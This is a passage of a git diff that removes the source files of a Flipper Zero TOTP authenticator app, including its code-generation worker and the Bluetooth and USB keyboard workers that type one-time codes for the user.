-#include -#include -#include "../../types/common.h" -#include "../../types/token_info.h" -#include "../type_code_common.h" -#include "../../config/app/config.h" -#include "../../services/config/constants.h" - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL -#define TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN FURI_HAL_BT_ADV_NAME_LENGTH -#define TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN GAP_MAC_ADDR_SIZE -#endif - -struct TotpBtTypeCodeWorkerContext { - char* code_buffer; - uint8_t code_buffer_size; - uint8_t flags; - FuriThread* thread; - FuriMutex* code_buffer_sync; - Bt* bt; - bool is_advertising; - bool is_connected; -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - char previous_bt_name[TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN]; - uint8_t previous_bt_mac[TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN]; -#endif - AutomationKeyboardLayout keyboard_layout; -}; - -static inline bool totp_type_code_worker_stop_requested() { - return furi_thread_flags_get() & TotpBtTypeCodeWorkerEventStop; -} - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL -static void totp_type_code_worker_bt_set_app_mac(uint8_t* mac) { - uint8_t max_i; - size_t uid_size = furi_hal_version_uid_size(); - if(uid_size < TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN) { - max_i = uid_size; - } else { - max_i = TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN; - } - - const uint8_t* uid = (const uint8_t*)UID64_BASE; //-V566 - memcpy(mac, uid, max_i); - for(uint8_t i = max_i; i < TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN; i++) { - mac[i] = 0; - } - - mac[0] = 0b10; -} -#endif - -static void totp_type_code_worker_type_code(TotpBtTypeCodeWorkerContext* context) { - uint8_t i = 0; - do { - furi_delay_ms(500); - i++; - } while(!context->is_connected && i < 100 && !totp_type_code_worker_stop_requested()); - - if(context->is_connected && - furi_mutex_acquire(context->code_buffer_sync, 500) == FuriStatusOk) { - totp_type_code_worker_execute_automation( - &furi_hal_bt_hid_kb_press, - &furi_hal_bt_hid_kb_release, - context->code_buffer, - context->code_buffer_size, - context->flags, - context->keyboard_layout); - furi_mutex_release(context->code_buffer_sync); - } -} - -static int32_t totp_type_code_worker_callback(void* context) { - furi_check(context); - FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - TotpBtTypeCodeWorkerContext* bt_context = context; - - while(true) { - uint32_t flags = furi_thread_flags_wait( - TotpBtTypeCodeWorkerEventStop | TotpBtTypeCodeWorkerEventType, - FuriFlagWaitAny, - FuriWaitForever); - furi_check((flags & FuriFlagError) == 0); //-V562 - if(flags & TotpBtTypeCodeWorkerEventStop) break; - - if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { - if(flags & TotpBtTypeCodeWorkerEventType) { - totp_type_code_worker_type_code(bt_context); - } - - furi_mutex_release(context_mutex); - } - } - - furi_mutex_free(context_mutex); - - return 0; -} - -static void connection_status_changed_callback(BtStatus status, void* context) { - TotpBtTypeCodeWorkerContext* bt_context = context; - if(status == BtStatusConnected) { - bt_context->is_connected = true; - } else if(status < BtStatusConnected) { - bt_context->is_connected = false; - } -} - -void totp_bt_type_code_worker_start( - TotpBtTypeCodeWorkerContext* context, - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout) { - furi_check(context != NULL); - context->code_buffer = code_buffer; - context->code_buffer_size = code_buffer_size; - context->code_buffer_sync = code_buffer_sync; - context->keyboard_layout = keyboard_layout; - context->thread = furi_thread_alloc(); - furi_thread_set_name(context->thread, "TOTPBtHidWorker"); - furi_thread_set_stack_size(context->thread, 1024); - furi_thread_set_context(context->thread, context); - furi_thread_set_callback(context->thread, totp_type_code_worker_callback); - furi_thread_start(context->thread); -} - -void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpBtTypeCodeWorkerEventStop); - furi_thread_join(context->thread); - furi_thread_free(context->thread); - context->thread = NULL; -} - -void totp_bt_type_code_worker_notify( - TotpBtTypeCodeWorkerContext* context, - TotpBtTypeCodeWorkerEvent event, - uint8_t flags) { - furi_check(context != NULL); - context->flags = flags; - furi_thread_flags_set(furi_thread_get_id(context->thread), event); -} - -TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init() { - TotpBtTypeCodeWorkerContext* context = malloc(sizeof(TotpBtTypeCodeWorkerContext)); - furi_check(context != NULL); - - context->bt = furi_record_open(RECORD_BT); - context->is_advertising = false; - context->is_connected = false; - bt_disconnect(context->bt); - furi_hal_bt_reinit(); - furi_delay_ms(200); - bt_keys_storage_set_storage_path(context->bt, TOTP_BT_KEYS_STORAGE_PATH); - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - memcpy( - &context->previous_bt_name[0], - furi_hal_bt_get_profile_adv_name(FuriHalBtProfileHidKeyboard), - TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN); - memcpy( - &context->previous_bt_mac[0], - furi_hal_bt_get_profile_mac_addr(FuriHalBtProfileHidKeyboard), - TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN); - char new_name[TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN]; - snprintf(new_name, sizeof(new_name), "%s TOTP Auth", furi_hal_version_get_name_ptr()); - uint8_t new_bt_mac[TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN]; - totp_type_code_worker_bt_set_app_mac(new_bt_mac); - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, new_name); - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, new_bt_mac); -#endif - - if(!bt_set_profile(context->bt, BtProfileHidKeyboard)) { - FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to keyboard HID profile"); - } - - furi_hal_bt_start_advertising(); - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - bt_enable_peer_key_update(context->bt); -#endif - - context->is_advertising = true; - bt_set_status_changed_callback(context->bt, connection_status_changed_callback, context); - - return context; -} - -void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context) { - furi_check(context != NULL); - - if(context->thread != NULL) { - totp_bt_type_code_worker_stop(context); - } - - bt_set_status_changed_callback(context->bt, NULL, NULL); - - furi_hal_bt_stop_advertising(); - context->is_advertising = false; - context->is_connected = false; - - bt_disconnect(context->bt); - furi_delay_ms(200); - bt_keys_storage_set_default_path(context->bt); - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - furi_hal_bt_set_profile_adv_name(FuriHalBtProfileHidKeyboard, context->previous_bt_name); - furi_hal_bt_set_profile_mac_addr(FuriHalBtProfileHidKeyboard, context->previous_bt_mac); -#endif - - if(!bt_set_profile(context->bt, BtProfileSerial)) { - FURI_LOG_E(LOGGING_TAG, "Failed to switch BT to Serial profile"); - } - furi_record_close(RECORD_BT); - context->bt = NULL; - - free(context); -} - -bool totp_bt_type_code_worker_is_advertising(const TotpBtTypeCodeWorkerContext* context) { - return context->is_advertising; -} \ No newline at end of file diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.h b/applications/external/totp/workers/bt_type_code/bt_type_code.h deleted file mode 100644 index 812acb62c..000000000 --- a/applications/external/totp/workers/bt_type_code/bt_type_code.h +++ /dev/null @@ -1,84 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/automation_kb_layout.h" - -#define TOTP_BT_KEYS_STORAGE_PATH EXT_PATH("apps_data/totp/.bt_hid.keys") - -typedef uint8_t TotpBtTypeCodeWorkerEvent; - -typedef struct TotpBtTypeCodeWorkerContext TotpBtTypeCodeWorkerContext; - -/** - * @brief Bluetooth token input automation worker events - */ -enum TotpBtTypeCodeWorkerEvents { - - /** - * @brief Reserved, should not be used anywhere - */ - TotpBtTypeCodeWorkerEventReserved = 0b00, - - /** - * @brief Stop worker - */ - TotpBtTypeCodeWorkerEventStop = 0b01, - - /** - * @brief Trigger token input automation - */ - TotpBtTypeCodeWorkerEventType = 0b10 -}; - -/** - * @brief Initializes bluetooth token input automation worker - * @return worker context - */ -TotpBtTypeCodeWorkerContext* totp_bt_type_code_worker_init(); - -/** - * @brief Disposes bluetooth token input automation worker and releases all the allocated resources - * @param context worker context - */ -void totp_bt_type_code_worker_free(TotpBtTypeCodeWorkerContext* context); - -/** - * @brief Starts bluetooth token input automation worker - * @param context worker context - * @param code_buffer code buffer to be used to automate - * @param code_buffer_size code buffer size - * @param code_buffer_sync code buffer synchronization primitive - * @param keyboard_layout keyboard layout to be used - */ -void totp_bt_type_code_worker_start( - TotpBtTypeCodeWorkerContext* context, - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout); - -/** - * @brief Stops bluetooth token input automation worker - * @param context worker context - */ -void totp_bt_type_code_worker_stop(TotpBtTypeCodeWorkerContext* context); - -/** - * @brief Notifies bluetooth token input automation worker with a given event - * @param context worker context - * @param event event to notify worker with - * @param flags event flags - */ -void totp_bt_type_code_worker_notify( - TotpBtTypeCodeWorkerContext* context, - TotpBtTypeCodeWorkerEvent event, - uint8_t flags); - -/** - * @brief Gets information whether Bluetooth is advertising now or not - * @param context worker context - * @return \c true if Bluetooth is advertising now; \c false otherwise - */ -bool totp_bt_type_code_worker_is_advertising(const TotpBtTypeCodeWorkerContext* context); diff --git a/applications/external/totp/workers/generate_totp_code/generate_totp_code.c b/applications/external/totp/workers/generate_totp_code/generate_totp_code.c deleted file mode 100644 index 20a7bb54c..000000000 --- a/applications/external/totp/workers/generate_totp_code/generate_totp_code.c +++ /dev/null @@ -1,199 +0,0 @@ -#include "generate_totp_code.h" -#include -#include -#include "../../services/crypto/crypto_facade.h" -#include "../../services/totp/totp.h" -#include "../../services/convert/convert.h" -#include -#include - -#define ONE_SEC_MS (1000) - -struct TotpGenerateCodeWorkerContext { - char* code_buffer; - FuriThread* thread; - FuriMutex* code_buffer_sync; - const TokenInfo* token_info; - float timezone_offset; - const CryptoSettings* crypto_settings; - TOTP_NEW_CODE_GENERATED_HANDLER on_new_code_generated_handler; - void* on_new_code_generated_handler_context; - TOTP_CODE_LIFETIME_CHANGED_HANDLER on_code_lifetime_changed_handler; - void* on_code_lifetime_changed_handler_context; -}; - -static const char STEAM_ALGO_ALPHABET[] = "23456789BCDFGHJKMNPQRTVWXY"; - -static void - int_token_to_str(uint64_t i_token_code, char* str, TokenDigitsCount len, TokenHashAlgo algo) { - char* last_char = str + len; - *last_char = '\0'; - if(i_token_code == OTP_ERROR) { - memset(str, '-', len); - } else { - if(algo == TokenHashAlgoSteam) { - char* s = str; - for(uint8_t i = 0; i < len; i++, s++) { - *s = STEAM_ALGO_ALPHABET[i_token_code % 26]; - i_token_code = i_token_code / 26; - } - } else { - char* s = --last_char; - for(int8_t i = len - 1; i >= 0; i--, s--) { - *s = CONVERT_DIGIT_TO_CHAR(i_token_code % 10); - i_token_code = i_token_code / 10; - } - } - } -} - -static TOTP_ALGO get_totp_algo_impl(TokenHashAlgo algo) { - switch(algo) { - case TokenHashAlgoSha1: - case TokenHashAlgoSteam: - return TOTP_ALGO_SHA1; - case TokenHashAlgoSha256: - return TOTP_ALGO_SHA256; - case TokenHashAlgoSha512: - return TOTP_ALGO_SHA512; - default: - break; - } - - return NULL; -} - -static void generate_totp_code( - TotpGenerateCodeWorkerContext* context, - const TokenInfo* token_info, - uint32_t current_ts) { - if(token_info->token != NULL && token_info->token_length > 0) { - size_t key_length; - uint8_t* key = totp_crypto_decrypt( - token_info->token, token_info->token_length, context->crypto_settings, &key_length); - - int_token_to_str( - totp_at( - get_totp_algo_impl(token_info->algo), - key, - key_length, - current_ts, - context->timezone_offset, - token_info->duration), - context->code_buffer, - token_info->digits, - token_info->algo); - memset_s(key, key_length, 0, key_length); - free(key); - } else { - int_token_to_str(0, context->code_buffer, token_info->digits, token_info->algo); - } -} - -static int32_t totp_generate_worker_callback(void* context) { - furi_check(context); - - TotpGenerateCodeWorkerContext* t_context = context; - - while(true) { - uint32_t flags = furi_thread_flags_wait( - TotpGenerateCodeWorkerEventStop | TotpGenerateCodeWorkerEventForceUpdate, - FuriFlagWaitAny, - ONE_SEC_MS); - - if(flags == - (uint32_t) - FuriFlagErrorTimeout) { // If timeout, consider as no error, as we expect this and can handle gracefully - flags = 0; - } - - furi_check((flags & FuriFlagError) == 0); //-V562 - - if(flags & TotpGenerateCodeWorkerEventStop) break; - - const TokenInfo* token_info = t_context->token_info; - if(token_info == NULL) { - continue; - } - - uint32_t curr_ts = furi_hal_rtc_get_timestamp(); - - bool time_left = false; - if(flags & TotpGenerateCodeWorkerEventForceUpdate || - (time_left = (curr_ts % token_info->duration) == 0)) { - if(furi_mutex_acquire(t_context->code_buffer_sync, FuriWaitForever) == FuriStatusOk) { - generate_totp_code(t_context, token_info, curr_ts); - curr_ts = furi_hal_rtc_get_timestamp(); - furi_mutex_release(t_context->code_buffer_sync); - if(t_context->on_new_code_generated_handler != NULL) { - (*(t_context->on_new_code_generated_handler))( - time_left, t_context->on_new_code_generated_handler_context); - } - } - } - - if(t_context->on_code_lifetime_changed_handler != NULL) { - (*(t_context->on_code_lifetime_changed_handler))( - (float)(token_info->duration - curr_ts % token_info->duration) / - (float)token_info->duration, - t_context->on_code_lifetime_changed_handler_context); - } - } - - return 0; -} - -TotpGenerateCodeWorkerContext* totp_generate_code_worker_start( - char* code_buffer, - const TokenInfo* token_info, - FuriMutex* code_buffer_sync, - float timezone_offset, - const CryptoSettings* crypto_settings) { - TotpGenerateCodeWorkerContext* context = malloc(sizeof(TotpGenerateCodeWorkerContext)); - furi_check(context != NULL); - context->code_buffer = code_buffer; - context->token_info = token_info; - context->code_buffer_sync = code_buffer_sync; - context->timezone_offset = timezone_offset; - context->crypto_settings = crypto_settings; - context->thread = furi_thread_alloc(); - furi_thread_set_name(context->thread, "TOTPGenerateWorker"); - furi_thread_set_stack_size(context->thread, 2048); - furi_thread_set_context(context->thread, context); - furi_thread_set_callback(context->thread, totp_generate_worker_callback); - furi_thread_start(context->thread); - return context; -} - -void totp_generate_code_worker_stop(TotpGenerateCodeWorkerContext* context) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpGenerateCodeWorkerEventStop); - furi_thread_join(context->thread); - furi_thread_free(context->thread); - free(context); -} - -void totp_generate_code_worker_notify( - TotpGenerateCodeWorkerContext* context, - TotpGenerateCodeWorkerEvent event) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), event); -} - -void totp_generate_code_worker_set_code_generated_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_NEW_CODE_GENERATED_HANDLER on_new_code_generated_handler, - void* on_new_code_generated_handler_context) { - furi_check(context != NULL); - context->on_new_code_generated_handler = on_new_code_generated_handler; - context->on_new_code_generated_handler_context = on_new_code_generated_handler_context; -} - -void totp_generate_code_worker_set_lifetime_changed_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_CODE_LIFETIME_CHANGED_HANDLER on_code_lifetime_changed_handler, - void* on_code_lifetime_changed_handler_context) { - furi_check(context != NULL); - context->on_code_lifetime_changed_handler = on_code_lifetime_changed_handler; - context->on_code_lifetime_changed_handler_context = on_code_lifetime_changed_handler_context; -} \ No newline at end of file diff --git a/applications/external/totp/workers/generate_totp_code/generate_totp_code.h b/applications/external/totp/workers/generate_totp_code/generate_totp_code.h deleted file mode 100644 index eb234313e..000000000 --- a/applications/external/totp/workers/generate_totp_code/generate_totp_code.h +++ /dev/null @@ -1,86 +0,0 @@ -#pragma once - -#include -#include -#include "../../types/token_info.h" - -typedef uint8_t TotpGenerateCodeWorkerEvent; - -typedef void (*TOTP_NEW_CODE_GENERATED_HANDLER)(bool time_left, void* context); -typedef void (*TOTP_CODE_LIFETIME_CHANGED_HANDLER)(float code_lifetime_percent, void* context); - -typedef struct TotpGenerateCodeWorkerContext TotpGenerateCodeWorkerContext; - -/** - * @brief Generate token worker events - */ -enum TotGenerateCodeWorkerEvents { - - /** - * @brief Reserved, should not be used anywhere - */ - TotpGenerateCodeWorkerEventReserved = 0b00, - - /** - * @brief Stop worker - */ - TotpGenerateCodeWorkerEventStop = 0b01, - - /** - * @brief Trigger token input automation - */ - TotpGenerateCodeWorkerEventForceUpdate = 0b10 -}; - -/** - * @brief Starts generate code worker - * @param code_buffer code buffer to generate code to - * @param token_info token info to be used to generate code - * @param code_buffer_sync code buffer synchronization primitive - * @param timezone_offset timezone offset to be used to generate code - * @param crypto_settings crypto settings - * @return worker context - */ -TotpGenerateCodeWorkerContext* totp_generate_code_worker_start( - char* code_buffer, - const TokenInfo* token_info, - FuriMutex* code_buffer_sync, - float timezone_offset, - const CryptoSettings* crypto_settings); - -/** - * @brief Stops generate code worker - * @param context worker context - */ -void totp_generate_code_worker_stop(TotpGenerateCodeWorkerContext* context); - -/** - * @brief Notifies generate code worker with a given event - * @param context worker context - * @param event event to notify worker with - */ -void totp_generate_code_worker_notify( - TotpGenerateCodeWorkerContext* context, - TotpGenerateCodeWorkerEvent event); - -/** - * @brief Sets new handler for "on new code generated" event - * @param context worker context - * @param on_new_code_generated_handler handler - * @param on_new_code_generated_handler_context handler context - */ -void totp_generate_code_worker_set_code_generated_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_NEW_CODE_GENERATED_HANDLER on_new_code_generated_handler, - void* on_new_code_generated_handler_context); - -/** - * @brief Sets new handler for "on code lifetime changed" event - * @param context worker context - * @param on_code_lifetime_changed_handler handler - * @param on_code_lifetime_changed_handler_context handler context - */ -void totp_generate_code_worker_set_lifetime_changed_handler( - TotpGenerateCodeWorkerContext* context, - TOTP_CODE_LIFETIME_CHANGED_HANDLER on_code_lifetime_changed_handler, - void* on_code_lifetime_changed_handler_context); \ No newline at end of file diff --git a/applications/external/totp/workers/type_code_common.c b/applications/external/totp/workers/type_code_common.c deleted file mode 100644 index 122c0b2a5..000000000 --- a/applications/external/totp/workers/type_code_common.c +++ /dev/null @@ -1,109 +0,0 @@ -#include "type_code_common.h" -#include -#include -#include "../../services/convert/convert.h" - -#define HID_KEYS_MAP_LENGTH (36) - -static const uint8_t hid_qwerty_keys_map[HID_KEYS_MAP_LENGTH] = { - HID_KEYBOARD_0, HID_KEYBOARD_1, HID_KEYBOARD_2, HID_KEYBOARD_3, HID_KEYBOARD_4, - HID_KEYBOARD_5, HID_KEYBOARD_6, HID_KEYBOARD_7, HID_KEYBOARD_8, HID_KEYBOARD_9, - HID_KEYBOARD_A, HID_KEYBOARD_B, HID_KEYBOARD_C, HID_KEYBOARD_D, HID_KEYBOARD_E, - HID_KEYBOARD_F, HID_KEYBOARD_G, HID_KEYBOARD_H, HID_KEYBOARD_I, HID_KEYBOARD_J, - HID_KEYBOARD_K, HID_KEYBOARD_L, HID_KEYBOARD_M, HID_KEYBOARD_N, HID_KEYBOARD_O, - HID_KEYBOARD_P, HID_KEYBOARD_Q, HID_KEYBOARD_R, HID_KEYBOARD_S, HID_KEYBOARD_T, - HID_KEYBOARD_U, HID_KEYBOARD_V, HID_KEYBOARD_W, HID_KEYBOARD_X, HID_KEYBOARD_Y, - HID_KEYBOARD_Z}; - -static const uint8_t hid_azerty_keys_map[HID_KEYS_MAP_LENGTH] = { - HID_KEYBOARD_0, HID_KEYBOARD_1, HID_KEYBOARD_2, HID_KEYBOARD_3, HID_KEYBOARD_4, - HID_KEYBOARD_5, HID_KEYBOARD_6, HID_KEYBOARD_7, HID_KEYBOARD_8, HID_KEYBOARD_9, - HID_KEYBOARD_Q, HID_KEYBOARD_B, HID_KEYBOARD_C, HID_KEYBOARD_D, HID_KEYBOARD_E, - HID_KEYBOARD_F, HID_KEYBOARD_G, HID_KEYBOARD_H, HID_KEYBOARD_I, HID_KEYBOARD_J, - HID_KEYBOARD_K, HID_KEYBOARD_L, HID_KEYBOARD_SEMICOLON, HID_KEYBOARD_N, HID_KEYBOARD_O, - HID_KEYBOARD_P, HID_KEYBOARD_A, HID_KEYBOARD_R, HID_KEYBOARD_S, HID_KEYBOARD_T, - HID_KEYBOARD_U, HID_KEYBOARD_V, HID_KEYBOARD_Z, HID_KEYBOARD_X, HID_KEYBOARD_Y, - HID_KEYBOARD_W}; - -static uint32_t get_keystroke_delay(TokenAutomationFeature features) { - if(features & TokenAutomationFeatureTypeSlower) { - return 100; - } - - return 30; -} - -static uint32_t get_keypress_delay(TokenAutomationFeature features) { - if(features & TokenAutomationFeatureTypeSlower) { - return 60; - } - - return 30; -} - -static void totp_type_code_worker_press_key( - uint16_t key, - TOTP_AUTOMATION_KEY_HANDLER key_press_fn, - TOTP_AUTOMATION_KEY_HANDLER key_release_fn, - TokenAutomationFeature features) { - (*key_press_fn)(key); - furi_delay_ms(get_keypress_delay(features)); - (*key_release_fn)(key); -} - -void totp_type_code_worker_execute_automation( - TOTP_AUTOMATION_KEY_HANDLER key_press_fn, - TOTP_AUTOMATION_KEY_HANDLER key_release_fn, - const char* code_buffer, - uint8_t code_buffer_size, - TokenAutomationFeature features, - AutomationKeyboardLayout keyboard_layout) { - furi_delay_ms(500); - uint8_t i = 0; - char cb_char; - - const uint8_t* keyboard_layout_dict; - switch(keyboard_layout) { - case AutomationKeyboardLayoutQWERTY: - keyboard_layout_dict = &hid_qwerty_keys_map[0]; - break; - case AutomationKeyboardLayoutAZERTY: - keyboard_layout_dict = &hid_azerty_keys_map[0]; - break; - - default: - return; - } - - while(i < code_buffer_size && (cb_char = code_buffer[i]) != 0) { - uint8_t char_index = CONVERT_CHAR_TO_DIGIT(cb_char); - if(char_index > 9) { - char_index = cb_char - 'A' + 10; - } - - if(char_index >= HID_KEYS_MAP_LENGTH) break; - - uint16_t hid_kb_key = keyboard_layout_dict[char_index]; - - // For non-AZERTY press shift for all non-digit chars - // For AZERTY press shift for all characters - if(char_index > 9 || keyboard_layout == AutomationKeyboardLayoutAZERTY) { - hid_kb_key |= KEY_MOD_LEFT_SHIFT; - } - - totp_type_code_worker_press_key(hid_kb_key, key_press_fn, key_release_fn, features); - furi_delay_ms(get_keystroke_delay(features)); - i++; - } - - if(features & TokenAutomationFeatureEnterAtTheEnd) { - furi_delay_ms(get_keystroke_delay(features)); - totp_type_code_worker_press_key( - HID_KEYBOARD_RETURN, key_press_fn, key_release_fn, features); - } - - if(features & TokenAutomationFeatureTabAtTheEnd) { - furi_delay_ms(get_keystroke_delay(features)); - totp_type_code_worker_press_key(HID_KEYBOARD_TAB, key_press_fn, key_release_fn, features); - } -} \ No newline at end of file diff --git a/applications/external/totp/workers/type_code_common.h b/applications/external/totp/workers/type_code_common.h deleted file mode 100644 index 81b273c36..000000000 --- a/applications/external/totp/workers/type_code_common.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once -#include -#include "../types/token_info.h" -#include "../types/automation_kb_layout.h" - -typedef bool (*TOTP_AUTOMATION_KEY_HANDLER)(uint16_t key); - -/** - * @brief Executes token input automation using given key press\release handlers - * @param key_press_fn key press handler - * @param key_release_fn key release handler - * @param code_buffer code buffer to be typed - * @param code_buffer_size code buffer size - * @param features automation features - * @param keyboard_layout keyboard layout to be used - */ -void totp_type_code_worker_execute_automation( - TOTP_AUTOMATION_KEY_HANDLER key_press_fn, - TOTP_AUTOMATION_KEY_HANDLER key_release_fn, - const char* code_buffer, - uint8_t code_buffer_size, - TokenAutomationFeature features, - AutomationKeyboardLayout keyboard_layout); \ No newline at end of file diff --git a/applications/external/totp/workers/usb_type_code/usb_type_code.c b/applications/external/totp/workers/usb_type_code/usb_type_code.c deleted file mode 100644 index 4e3259424..000000000 --- a/applications/external/totp/workers/usb_type_code/usb_type_code.c +++ /dev/null @@ -1,122 +0,0 @@ -#include "usb_type_code.h" -#include -#include -#include -#include -#include -#include "../../services/convert/convert.h" -#include "../../types/token_info.h" -#include "../type_code_common.h" - -struct TotpUsbTypeCodeWorkerContext { - char* code_buffer; - uint8_t code_buffer_size; - uint8_t flags; - FuriThread* thread; - FuriMutex* code_buffer_sync; - FuriHalUsbInterface* usb_mode_prev; - AutomationKeyboardLayout keyboard_layout; -}; - -static void totp_type_code_worker_restore_usb_mode(TotpUsbTypeCodeWorkerContext* context) { - if(context->usb_mode_prev != NULL) { - furi_hal_usb_set_config(context->usb_mode_prev, NULL); - context->usb_mode_prev = NULL; - } -} - -static inline bool totp_type_code_worker_stop_requested() { - return furi_thread_flags_get() & TotpUsbTypeCodeWorkerEventStop; -} - -static void totp_type_code_worker_type_code(TotpUsbTypeCodeWorkerContext* context) { - context->usb_mode_prev = furi_hal_usb_get_config(); - furi_hal_usb_unlock(); - furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true); - uint8_t i = 0; - do { - furi_delay_ms(500); - i++; - } while(!furi_hal_hid_is_connected() && i < 100 && !totp_type_code_worker_stop_requested()); - - if(furi_hal_hid_is_connected() && - furi_mutex_acquire(context->code_buffer_sync, 500) == FuriStatusOk) { - totp_type_code_worker_execute_automation( - &furi_hal_hid_kb_press, - &furi_hal_hid_kb_release, - context->code_buffer, - context->code_buffer_size, - context->flags, - context->keyboard_layout); - furi_mutex_release(context->code_buffer_sync); - - furi_delay_ms(100); - } - - totp_type_code_worker_restore_usb_mode(context); -} - -static int32_t totp_type_code_worker_callback(void* context) { - furi_check(context); - FuriMutex* context_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - while(true) { - uint32_t flags = furi_thread_flags_wait( - TotpUsbTypeCodeWorkerEventStop | TotpUsbTypeCodeWorkerEventType, - FuriFlagWaitAny, - FuriWaitForever); - furi_check((flags & FuriFlagError) == 0); //-V562 - if(flags & TotpUsbTypeCodeWorkerEventStop) break; - - if(furi_mutex_acquire(context_mutex, FuriWaitForever) == FuriStatusOk) { - if(flags & TotpUsbTypeCodeWorkerEventType) { - totp_type_code_worker_type_code(context); - } - - furi_mutex_release(context_mutex); - } - } - - furi_mutex_free(context_mutex); - - return 0; -} - -TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout) { - TotpUsbTypeCodeWorkerContext* context = malloc(sizeof(TotpUsbTypeCodeWorkerContext)); - furi_check(context != NULL); - context->code_buffer = code_buffer; - context->code_buffer_size = code_buffer_size; - context->code_buffer_sync = code_buffer_sync; - context->thread = furi_thread_alloc(); - context->usb_mode_prev = NULL; - context->keyboard_layout = keyboard_layout; - furi_thread_set_name(context->thread, "TOTPUsbHidWorker"); - furi_thread_set_stack_size(context->thread, 1024); - furi_thread_set_context(context->thread, context); - furi_thread_set_callback(context->thread, totp_type_code_worker_callback); - furi_thread_start(context->thread); - return context; -} - -void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context) { - furi_check(context != NULL); - furi_thread_flags_set(furi_thread_get_id(context->thread), TotpUsbTypeCodeWorkerEventStop); - furi_thread_join(context->thread); - furi_thread_free(context->thread); - totp_type_code_worker_restore_usb_mode(context); - free(context); -} - -void totp_usb_type_code_worker_notify( - TotpUsbTypeCodeWorkerContext* context, - TotpUsbTypeCodeWorkerEvent event, - uint8_t flags) { - furi_check(context != NULL); - context->flags = flags; - furi_thread_flags_set(furi_thread_get_id(context->thread), event); -} \ No newline at end of file diff --git a/applications/external/totp/workers/usb_type_code/usb_type_code.h b/applications/external/totp/workers/usb_type_code/usb_type_code.h deleted file mode 100644 index d2d1bdf82..000000000 --- a/applications/external/totp/workers/usb_type_code/usb_type_code.h +++ /dev/null @@ -1,62 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../../types/automation_kb_layout.h" - -typedef uint8_t TotpUsbTypeCodeWorkerEvent; - -typedef struct TotpUsbTypeCodeWorkerContext TotpUsbTypeCodeWorkerContext; - -/** - * @brief USB token input automation worker events - */ -enum TotpUsbTypeCodeWorkerEvents { - - /** - * @brief Reserved, should not be used anywhere - */ - TotpUsbTypeCodeWorkerEventReserved = 0b00, - - /** - * @brief Stop worker - */ - TotpUsbTypeCodeWorkerEventStop = 0b01, - - /** - * @brief Trigger token input automation - */ - TotpUsbTypeCodeWorkerEventType = 0b10 -}; - -/** - * @brief Starts USB token input automation worker - * @param code_buffer code buffer to be used to automate - * @param code_buffer_size code buffer size - * @param code_buffer_sync code buffer synchronization primitive - * @param keyboard_layout keyboard layout to be used - * @return worker context - */ -TotpUsbTypeCodeWorkerContext* totp_usb_type_code_worker_start( - char* code_buffer, - uint8_t code_buffer_size, - FuriMutex* code_buffer_sync, - AutomationKeyboardLayout keyboard_layout); - -/** - * @brief Stops USB token input automation worker - * @param context worker context - */ -void totp_usb_type_code_worker_stop(TotpUsbTypeCodeWorkerContext* context); - -/** - * @brief Notifies USB token input automation worker with a given event - * @param context worker context - * @param event event to notify worker with - * @param flags event flags - */ -void totp_usb_type_code_worker_notify( - TotpUsbTypeCodeWorkerContext* context, - TotpUsbTypeCodeWorkerEvent event, - uint8_t flags);